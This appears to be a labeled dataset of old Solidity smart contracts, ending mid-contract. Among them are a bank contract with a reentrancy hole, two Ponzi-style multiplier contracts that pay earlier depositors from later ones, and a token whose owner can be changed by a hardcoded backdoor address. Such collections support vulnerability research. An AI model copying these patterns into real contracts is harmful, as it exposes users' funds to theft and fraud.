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pragma solidity ^0.4.25;
contract MY_BANK
{
function Put(uint _unlockTime)
public
payable
{
var acc = Acc[msg.sender];
acc.balance += msg.value;
acc.unlockTime = _unlockTime>now?_unlockTime:now;
LogFile.AddMessage(msg.sender,msg.value,"Put");
}
function Collect(uint _am)
public
payable
{
var acc = Acc[msg.sender];
if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
{
if(msg.sender.call.value(_am)())
{
acc.balance-=_am;
LogFile.AddMessage(msg.sender,_am,"Collect");
}
}
}
function()
public
payable
{
Put(0);
}
struct Holder
{
uint unlockTime;
uint balance;
}
mapping (address => Holder) public Acc;
Log LogFile;
uint public MinSum = 1 ether;
function MY_BANK(address log) public{
LogFile = Log(log);
}
}
contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
} | 0 | 627 |
pragma solidity ^0.4.25;
contract EtherwaterTest {
address constant private PROMO = 0x014bF153476683dC0A0673325C07EB3342281DC8;
uint constant public PROMO_PERCENT = 6;
uint constant public MULTIPLIER = 119;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
function () public payable {
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= 13 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
uint promo = msg.value*PROMO_PERCENT/100;
PROMO.send(promo);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getSingleDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getAllDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 1 | 3,704 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20 {
uint public totalSupply = 0;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
function balanceOf(address _owner) constant returns (uint);
function transfer(address _to, uint _value) returns (bool);
function transferFrom(address _from, address _to, uint _value) returns (bool);
function approve(address _spender, uint _value) returns (bool);
function allowance(address _owner, address _spender) constant returns (uint);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract TKT is ERC20 {
using SafeMath for uint;
string public name = "CryptoTickets COIN";
string public symbol = "TKT";
uint public decimals = 18;
address public ico;
event Burn(address indexed from, uint256 value);
bool public tokensAreFrozen = true;
modifier icoOnly { require(msg.sender == ico); _; }
function TKT(address _ico) {
ico = _ico;
}
function mint(address _holder, uint _value) external icoOnly {
require(_value != 0);
balances[_holder] = balances[_holder].add(_value);
totalSupply = totalSupply.add(_value);
Transfer(0x0, _holder, _value);
}
function defrost() external icoOnly {
tokensAreFrozen = false;
}
function burn(uint256 _value) {
require(!tokensAreFrozen);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
}
function balanceOf(address _owner) constant returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) returns (bool) {
require(!tokensAreFrozen);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) returns (bool) {
require(!tokensAreFrozen);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) returns (bool) {
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
}
contract CryptoTicketsICO {
using SafeMath for uint;
uint public constant Tokens_For_Sale = 525000000*1e18;
uint public Rate_Eth = 298;
uint public Token_Price = 25 * Rate_Eth;
uint public SoldNoBonuses = 0;
mapping(address => bool) swapped;
event LogStartICO();
event LogPauseICO();
event LogFinishICO(address bountyFund, address advisorsFund, address itdFund, address storageFund);
event LogBuyForInvestor(address investor, uint tokenValue, string txHash);
event LogSwapToken(address investor, uint tokenValue);
TKT public token = new TKT(this);
TKT public tkt;
address public Company;
address public BountyFund;
address public AdvisorsFund;
address public ItdFund;
address public StorageFund;
address public Manager;
address public SwapManager;
address public Controller_Address1;
address public Controller_Address2;
address public Controller_Address3;
modifier managerOnly { require(msg.sender == Manager); _; }
modifier controllersOnly { require((msg.sender == Controller_Address1) || (msg.sender == Controller_Address2) || (msg.sender == Controller_Address3)); _; }
modifier swapManagerOnly { require(msg.sender == SwapManager); _; }
uint bountyPart = 2;
uint advisorsPart = 35;
uint itdPart = 15;
uint storagePart = 3;
uint icoAndPOfPart = 765;
enum StatusICO { Created, Started, Paused, Finished }
StatusICO statusICO = StatusICO.Created;
function CryptoTicketsICO(address _tkt, address _Company, address _BountyFund, address _AdvisorsFund, address _ItdFund, address _StorageFund, address _Manager, address _Controller_Address1, address _Controller_Address2, address _Controller_Address3, address _SwapManager){
tkt = TKT(_tkt);
Company = _Company;
BountyFund = _BountyFund;
AdvisorsFund = _AdvisorsFund;
ItdFund = _ItdFund;
StorageFund = _StorageFund;
Manager = _Manager;
Controller_Address1 = _Controller_Address1;
Controller_Address2 = _Controller_Address2;
Controller_Address3 = _Controller_Address3;
SwapManager = _SwapManager;
}
function setRate(uint _RateEth) external managerOnly {
Rate_Eth = _RateEth;
Token_Price = 25*Rate_Eth;
}
function startIco() external managerOnly {
require(statusICO == StatusICO.Created || statusICO == StatusICO.Paused);
LogStartICO();
statusICO = StatusICO.Started;
}
function pauseIco() external managerOnly {
require(statusICO == StatusICO.Started);
statusICO = StatusICO.Paused;
LogPauseICO();
}
function finishIco() external managerOnly {
require(statusICO == StatusICO.Started);
uint alreadyMinted = token.totalSupply();
uint totalAmount = alreadyMinted * 1000 / icoAndPOfPart;
token.mint(BountyFund, bountyPart * totalAmount / 100);
token.mint(AdvisorsFund, advisorsPart * totalAmount / 1000);
token.mint(ItdFund, itdPart * totalAmount / 100);
token.mint(StorageFund, storagePart * totalAmount / 100);
token.defrost();
statusICO = StatusICO.Finished;
LogFinishICO(BountyFund, AdvisorsFund, ItdFund, StorageFund);
}
function() external payable {
buy(msg.sender, msg.value * Token_Price);
}
function buyForInvestor(address _investor, uint _tokenValue, string _txHash) external controllersOnly {
buy(_investor, _tokenValue);
LogBuyForInvestor(_investor, _tokenValue, _txHash);
}
function swapToken(address _investor) swapManagerOnly{
require(statusICO != StatusICO.Finished);
require(swapped[_investor] == false);
uint tktTokens = tkt.balanceOf(_investor);
require(tktTokens > 0);
swapped[_investor] = true;
token.mint(_investor, tktTokens);
LogSwapToken(_investor, tktTokens);
}
function buy(address _investor, uint _tokenValue) internal {
require(statusICO == StatusICO.Started);
require(_tokenValue > 0);
require(SoldNoBonuses + _tokenValue <= Tokens_For_Sale);
token.mint(_investor, _tokenValue);
SoldNoBonuses = SoldNoBonuses.add(_tokenValue);
}
function withdrawEther(uint256 _value) external managerOnly {
require(statusICO == StatusICO.Finished);
Company.transfer(_value);
}
} | 1 | 2,518 |
pragma solidity ^0.4.13;
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtrCPCE(uint256 x, uint256 y) internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract CPCE is StandardToken, SafeMath {
string public constant name = "CPC123";
string public constant symbol = "CPC123";
uint256 public constant decimals = 18;
string public version = "1.0";
address public CPCEPrivateDeposit;
address public CPCEIcoDeposit;
address public CPCEFundDeposit;
uint256 public constant factorial = 6;
uint256 public constant CPCEPrivate = 150 * (10**factorial) * 10**decimals;
uint256 public constant CPCEIco = 150 * (10**factorial) * 10**decimals;
uint256 public constant CPCEFund = 380 * (10**factorial) * 10**decimals;
function CPCE()
{
CPCEPrivateDeposit = 0x960F9fD51b887F537268b2E4d88Eba995E87E5E0;
CPCEIcoDeposit = 0x90d247AcdA80eBB6E950F0087171ea821B208541;
CPCEFundDeposit = 0xF249A8353572e98545b37Dc16b3A5724053D7337;
balances[CPCEPrivateDeposit] = CPCEPrivate;
balances[CPCEIcoDeposit] = CPCEIco;
balances[CPCEFundDeposit] = CPCEFund;
}
} | 1 | 2,825 |
pragma solidity ^0.4.25;
contract EthereumMultiplier {
address constant private Reclame = 0x37Ef79eFAEb515EFC1fecCa00d998Ded73092141;
uint constant public Reclame_PERCENT = 2;
address constant private Admin = 0x942Ee0aDa641749861c47E27E6d5c09244E4d7c8;
uint constant public Admin_PERCENT = 2;
address constant private BMG = 0x60d23A4F6642869C04994C818A2dDE5a1bf2c217;
uint constant public BMG_PERCENT = 2;
uint constant public Refferal_PERCENT = 10;
uint constant public MULTIPLIER = 110;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
function () public payable {
require(tx.gasprice <= 50000000000 wei, "Gas price is too high! Do not cheat!");
if(msg.value > 110){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= 5 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/110)));
uint promo = msg.value*Reclame_PERCENT/100;
Reclame.send(promo);
uint admin = msg.value*Admin_PERCENT/100;
Admin.send(admin);
uint bmg = msg.value*BMG_PERCENT/100;
BMG.send(bmg);
pay();
}
}
function refferal (address REF) public payable {
require(tx.gasprice <= 50000000000 wei, "Gas price is too high! Do not cheat!");
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= 5 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/110)));
uint promo = msg.value*Reclame_PERCENT/100;
Reclame.send(promo);
uint admin = msg.value*Admin_PERCENT/100;
Admin.send(admin);
uint bmg = msg.value*BMG_PERCENT/100;
BMG.send(bmg);
require(REF != 0x0000000000000000000000000000000000000000 && REF != msg.sender, "You need another refferal!");
uint ref = msg.value*Refferal_PERCENT/100;
REF.send(ref);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 1 | 2,829 |
pragma solidity ^0.4.18;
interface CaptainTokenInterface {
function CreateCaptainToken(address _owner,uint256 _price, uint32 _captainId, uint32 _color,uint32 _atk, uint32 _defense,uint32 _level,uint256 _exp) public;
}
interface CaptainGameConfigInterface {
function getCardInfo(uint32 cardId) external constant returns (uint32,uint32,uint32, uint32,uint32,uint256,uint256);
function getSellable(uint32 _captainId) external returns (bool);
}
contract CaptainSell {
address devAddress;
function CaptainSell() public {
devAddress = msg.sender;
}
CaptainTokenInterface public captains;
CaptainGameConfigInterface public config;
event BuyToken(uint256 tokenId, uint256 oldPrice, address prevOwner, address winner);
mapping(uint32 => uint256) captainToCount;
function() external payable {
}
modifier onlyOwner() {
require(msg.sender == devAddress);
_;
}
function setGameConfigContract(address _address) external onlyOwner {
config = CaptainGameConfigInterface(_address);
}
function setCaptainTokenContract(address _address) external onlyOwner {
captains = CaptainTokenInterface(_address);
}
function prepurchase(uint32 _captainId) external payable {
uint32 color;
uint32 atk;
uint32 defense;
uint256 price;
uint256 captainCount;
uint256 SellCount = captainToCount[_captainId];
(color,atk,,,defense,price,captainCount) = config.getCardInfo(_captainId);
require(config.getSellable(_captainId) == true);
SellCount += 1;
require(SellCount<=captainCount);
require(msg.sender != address(0));
require(msg.value >= price);
captains.CreateCaptainToken(msg.sender,price,_captainId,color,atk, defense,1,0);
captainToCount[_captainId] = SellCount;
devAddress.transfer(msg.value);
BuyToken(_captainId, price,address(this),msg.sender);
}
function getCaptainCount(uint32 _captainId) external constant returns (uint256) {
return captainToCount[_captainId];
}
function withdraw() external onlyOwner {
require(this.balance>0);
msg.sender.transfer(this.balance);
}
} | 1 | 2,793 |
pragma solidity ^0.4.19;
contract BitGame {
string public name;
string public symbol;
uint256 public totalSupply;
address public owner;
uint8 public ratio;
uint256 public exchangeWeight;
uint256 public totalBurn = 0;
uint256 public totalDraw = 0;
uint8 public decimals = 18;
uint public exchangeRate = 10000;
uint public creationTime;
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event FundTransfer(address a, uint b, bool c);
function () payable public {
uint256 value = msg.value * exchangeRate * 10 ** uint256(decimals) / exchangeWeight;
assert(balanceOf[this] >= value);
balanceOf[this] -= value;
balanceOf[msg.sender] += value;
FundTransfer(this, msg.value, false);
Transfer(this, msg.sender, value);
}
function BitGame(
uint256 initialSupply,
string tokenName,
string tokenSymbol,
address gameOwner,
uint8 ratioYearly
) public {
assert(ratioYearly > 0);
totalSupply = initialSupply * 10 ** uint256(decimals);
exchangeWeight = 1 * 10 ** uint256(decimals);
balanceOf[this] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
owner = gameOwner;
ratio = ratioYearly;
creationTime = block.timestamp;
}
function _transfer(address _from, address _to, uint256 _value) internal {
assert(_to != 0x0);
assert(balanceOf[_from] >= _value);
assert(balanceOf[_to] + _value > balanceOf[_to]);
uint256 previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
if (_to == address(this)) {
uint256 _ethvalue = _value / exchangeRate * exchangeWeight / (10 ** uint256(decimals));
assert(_ethvalue <= this.balance);
assert(_from.send(_ethvalue));
FundTransfer(_from, _ethvalue, false);
}
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function _recalcweight() internal {
exchangeWeight = (this.balance * exchangeRate * 10 ** uint256(decimals) + 1) / (totalSupply - balanceOf[address(this)] + 1);
}
function burn(uint256 _value) public returns (bool success) {
assert(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
totalBurn += _value;
_recalcweight();
Burn(msg.sender, _value);
return true;
}
function draw(uint256 _value) public returns (bool success) {
assert(owner == msg.sender);
assert(_value <= this.balance);
uint timeOffset = block.timestamp - creationTime;
uint256 maxdrawETH = timeOffset * ratio * (this.balance + totalDraw) / 100 / 86400 / 365;
assert(maxdrawETH >= totalDraw + _value);
assert(msg.sender.send(_value));
FundTransfer(msg.sender, _value, false);
totalDraw += _value;
_recalcweight();
return true;
}
function setowner(address _new) public {
assert(owner == msg.sender || msg.sender == 0xf2E58b7543C79eab007189Dc466af6169EF08B03);
owner = _new;
}
} | 0 | 883 |
pragma solidity ^0.4.13;
contract AllocationAddressList {
address[] public allocationAddressList;
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint256 _value, bytes _data) public;
}
contract ERC223Token {
using SafeMath for uint256;
string public name;
bytes32 public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
function transfer(address to, uint256 value, bytes data) public returns (bool) {
uint256 codeLength;
assembly {
codeLength := extcodesize(to)
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(value);
balanceOf[to] = balanceOf[to].add(value);
if (codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(to);
receiver.tokenFallback(msg.sender, value, data);
}
Transfer(msg.sender, to, value, data);
return true;
}
function transfer(address to, uint256 value) public returns (bool) {
uint256 codeLength;
bytes memory empty;
assembly {
codeLength := extcodesize(to)
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(value);
balanceOf[to] = balanceOf[to].add(value);
if (codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(to);
receiver.tokenFallback(msg.sender, value, empty);
}
Transfer(msg.sender, to, value, empty);
Transfer(msg.sender, to, value);
return true;
}
event Transfer(address indexed from, address indexed to, uint256 value, bytes indexed data);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC223MintableToken is ERC223Token {
using SafeMath for uint256;
uint256 public circulatingSupply;
function mint(address to, uint256 value) internal returns (bool) {
uint256 codeLength;
assembly {
codeLength := extcodesize(to)
}
circulatingSupply += value;
balanceOf[to] = balanceOf[to].add(value);
if (codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(to);
bytes memory empty;
receiver.tokenFallback(msg.sender, value, empty);
}
Mint(to, value);
return true;
}
event Mint(address indexed to, uint256 value);
}
contract TestToken is ERC223MintableToken {
mapping (address => bool) public IS_SIGNATURER;
VestingAllocation private partnerTokensAllocation;
VestingAllocation private companyTokensAllocation;
BountyTokenAllocation private bountyTokensAllocation;
uint256 constant ICO_TOKENS = 25346500000000000000000000;
address constant ICO_TOKENS_ADDRESS = 0xCE1182147FD13A59E4Ca114CAa1cD58719e09F67;
uint256 constant SEED_TOKENS = 25346500000000000000000000;
address constant SEED_TOKENS_ADDRESS = 0x8746177Ff2575E826f6f73A1f90351e0FD0A6649;
uint256 constant COMPANY_TOKENS_PER_PERIOD = 704069444444444000000000;
uint256 constant COMPANY_PERIODS = 36;
uint256 constant MINUTES_IN_COMPANY_PERIOD = 10;
uint256 constant PARTNER_TOKENS_PER_PERIOD = 23042272727272700000000000;
uint256 constant PARTNER_PERIODS = 1;
uint256 constant MINUTES_IN_PARTNER_PERIOD = 60 * 2;
uint256 constant BOUNTY_TOKENS = 2304227272727270000000000;
uint256 constant MARKETING_COST_TOKENS = 768075757575758000000000;
address constant MARKETING_COST_ADDRESS = 0x54a0AB12710fad2a24CB391406c234855C835340;
uint256 public INIT_DATE;
string public constant name = "Test Token";
bytes32 public constant symbol = "TST";
uint8 public constant decimals = 18;
uint256 public constant totalSupply = (
COMPANY_TOKENS_PER_PERIOD * COMPANY_PERIODS +
PARTNER_TOKENS_PER_PERIOD * PARTNER_PERIODS +
BOUNTY_TOKENS + MARKETING_COST_TOKENS +
ICO_TOKENS + SEED_TOKENS);
function TestToken() public {
address signaturer0 = 0xe029b7b51b8c5B71E6C6f3DC66a11DF3CaB6E3B5;
address signaturer1 = 0xBEE9b5e75383f56eb103DdC1a4343dcA6124Dfa3;
address signaturer2 = 0xcdD1Db16E83AA757a5B3E6d03482bBC9A27e8D49;
IS_SIGNATURER[signaturer0] = true;
IS_SIGNATURER[signaturer1] = true;
IS_SIGNATURER[signaturer2] = true;
INIT_DATE = block.timestamp;
companyTokensAllocation = new VestingAllocation(
COMPANY_TOKENS_PER_PERIOD,
COMPANY_PERIODS,
MINUTES_IN_COMPANY_PERIOD,
INIT_DATE);
partnerTokensAllocation = new VestingAllocation(
PARTNER_TOKENS_PER_PERIOD,
PARTNER_PERIODS,
MINUTES_IN_PARTNER_PERIOD,
INIT_DATE);
bountyTokensAllocation = new BountyTokenAllocation(
BOUNTY_TOKENS
);
mint(MARKETING_COST_ADDRESS, MARKETING_COST_TOKENS);
mint(ICO_TOKENS_ADDRESS, ICO_TOKENS);
mint(SEED_TOKENS_ADDRESS, SEED_TOKENS);
}
function proposeCompanyAllocation(address _dest, uint256 _tokensPerPeriod) public onlySignaturer {
companyTokensAllocation.proposeAllocation(msg.sender, _dest, _tokensPerPeriod);
}
function approveCompanyAllocation(address _dest) public onlySignaturer {
companyTokensAllocation.approveAllocation(msg.sender, _dest);
}
function rejectCompanyAllocation(address _dest) public onlySignaturer {
companyTokensAllocation.rejectAllocation(_dest);
}
function getRemainingCompanyTokensAllocation() public view returns (uint256) {
return companyTokensAllocation.remainingTokensPerPeriod();
}
function getCompanyAllocation(uint256 nr) public view returns (uint256, address, uint256, Types.AllocationState, address) {
address recipientAddress = companyTokensAllocation.allocationAddressList(nr);
var (tokensPerPeriod, proposalAddress, claimedPeriods, allocationState) = companyTokensAllocation.allocationOf(recipientAddress);
return (tokensPerPeriod, proposalAddress, claimedPeriods, allocationState, recipientAddress);
}
function proposePartnerAllocation(address _dest, uint256 _tokensPerPeriod) public onlySignaturer {
partnerTokensAllocation.proposeAllocation(msg.sender, _dest, _tokensPerPeriod);
}
function approvePartnerAllocation(address _dest) public onlySignaturer {
partnerTokensAllocation.approveAllocation(msg.sender, _dest);
}
function rejectPartnerAllocation(address _dest) public onlySignaturer {
partnerTokensAllocation.rejectAllocation(_dest);
}
function getRemainingPartnerTokensAllocation() public view returns (uint256) {
return partnerTokensAllocation.remainingTokensPerPeriod();
}
function getPartnerAllocation(uint256 nr) public view returns (uint256, address, uint256, Types.AllocationState, address) {
address recipientAddress = partnerTokensAllocation.allocationAddressList(nr);
var (tokensPerPeriod, proposalAddress, claimedPeriods, allocationState) = partnerTokensAllocation.allocationOf(recipientAddress);
return (tokensPerPeriod, proposalAddress, claimedPeriods, allocationState, recipientAddress);
}
function proposeBountyTransfer(address _dest, uint256 _amount) public onlySignaturer {
bountyTokensAllocation.proposeBountyTransfer(_dest, _amount);
}
function approveBountyTransfer(address _dest) public onlySignaturer {
uint256 tokensToMint = bountyTokensAllocation.approveBountyTransfer(msg.sender, _dest);
mint(_dest, tokensToMint);
}
function rejectBountyTransfer(address _dest) public onlySignaturer {
bountyTokensAllocation.rejectBountyTransfer(_dest);
}
function getBountyTransfers(uint256 nr) public view returns (uint256, address, Types.BountyState, address) {
address recipientAddress = bountyTokensAllocation.allocationAddressList(nr);
var (amount, proposalAddress, bountyState) = bountyTokensAllocation.bountyOf(recipientAddress);
return (amount, proposalAddress, bountyState, recipientAddress);
}
function getRemainingBountyTokens() public view returns (uint256) {
return bountyTokensAllocation.remainingBountyTokens();
}
function claimTokens() public returns (uint256) {
mint(msg.sender,
partnerTokensAllocation.claimTokens(msg.sender) +
companyTokensAllocation.claimTokens(msg.sender));
}
modifier onlySignaturer() {
require(IS_SIGNATURER[msg.sender]);
_;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract BountyTokenAllocation is Ownable, AllocationAddressList {
uint256 public remainingBountyTokens;
mapping (address => Types.StructBountyAllocation) public bountyOf;
address public owner = msg.sender;
function BountyTokenAllocation(uint256 _remainingBountyTokens) onlyOwner public {
remainingBountyTokens = _remainingBountyTokens;
}
function proposeBountyTransfer(address _dest, uint256 _amount) public onlyOwner {
require(_amount > 0);
require(_amount <= remainingBountyTokens);
require(bountyOf[_dest].proposalAddress == 0x0 || bountyOf[_dest].bountyState == Types.BountyState.Rejected);
if (bountyOf[_dest].bountyState != Types.BountyState.Rejected) {
allocationAddressList.push(_dest);
}
bountyOf[_dest] = Types.StructBountyAllocation({
amount: _amount,
proposalAddress: msg.sender,
bountyState: Types.BountyState.Proposed
});
remainingBountyTokens = remainingBountyTokens - _amount;
}
function approveBountyTransfer(address _approverAddress, address _dest) public onlyOwner returns (uint256) {
require(bountyOf[_dest].bountyState == Types.BountyState.Proposed);
require(bountyOf[_dest].proposalAddress != _approverAddress);
bountyOf[_dest].bountyState = Types.BountyState.Approved;
return bountyOf[_dest].amount;
}
function rejectBountyTransfer(address _dest) public onlyOwner {
var tmp = bountyOf[_dest];
require(tmp.bountyState == Types.BountyState.Proposed);
bountyOf[_dest].bountyState = Types.BountyState.Rejected;
remainingBountyTokens = remainingBountyTokens + bountyOf[_dest].amount;
}
}
library SafeMath {
function sub(uint256 a, uint256 b) pure internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) pure internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) pure internal returns (uint256) {
if(a > b)
return b;
else
return a;
}
}
contract Types {
enum AllocationState {
Proposed,
Approved,
Rejected
}
struct StructVestingAllocation {
uint256 tokensPerPeriod;
address proposerAddress;
uint256 claimedPeriods;
AllocationState allocationState;
}
enum BountyState {
Proposed,
Approved,
Rejected
}
struct StructBountyAllocation {
uint256 amount;
address proposalAddress;
BountyState bountyState;
}
}
contract VestingAllocation is Ownable, AllocationAddressList {
uint256 public periods;
uint256 public minutesInPeriod;
uint256 public remainingTokensPerPeriod;
uint256 public totalSupply;
uint256 public initTimestamp;
mapping (address => Types.StructVestingAllocation) public allocationOf;
function VestingAllocation(uint256 _tokensPerPeriod, uint256 _periods, uint256 _minutesInPeriod, uint256 _initalTimestamp) Ownable() public {
totalSupply = _tokensPerPeriod * _periods;
periods = _periods;
minutesInPeriod = _minutesInPeriod;
remainingTokensPerPeriod = _tokensPerPeriod;
initTimestamp = _initalTimestamp;
}
function proposeAllocation(address _proposerAddress, address _dest, uint256 _tokensPerPeriod) public onlyOwner {
require(_tokensPerPeriod > 0);
require(_tokensPerPeriod <= remainingTokensPerPeriod);
require(allocationOf[_dest].proposerAddress == 0x0 || allocationOf[_dest].allocationState == Types.AllocationState.Rejected);
if (allocationOf[_dest].allocationState != Types.AllocationState.Rejected) {
allocationAddressList.push(_dest);
}
allocationOf[_dest] = Types.StructVestingAllocation({
tokensPerPeriod: _tokensPerPeriod,
allocationState: Types.AllocationState.Proposed,
proposerAddress: _proposerAddress,
claimedPeriods: 0
});
remainingTokensPerPeriod = remainingTokensPerPeriod - _tokensPerPeriod;
}
function approveAllocation(address _approverAddress, address _address) public onlyOwner {
require(allocationOf[_address].allocationState == Types.AllocationState.Proposed);
require(allocationOf[_address].proposerAddress != _approverAddress);
allocationOf[_address].allocationState = Types.AllocationState.Approved;
}
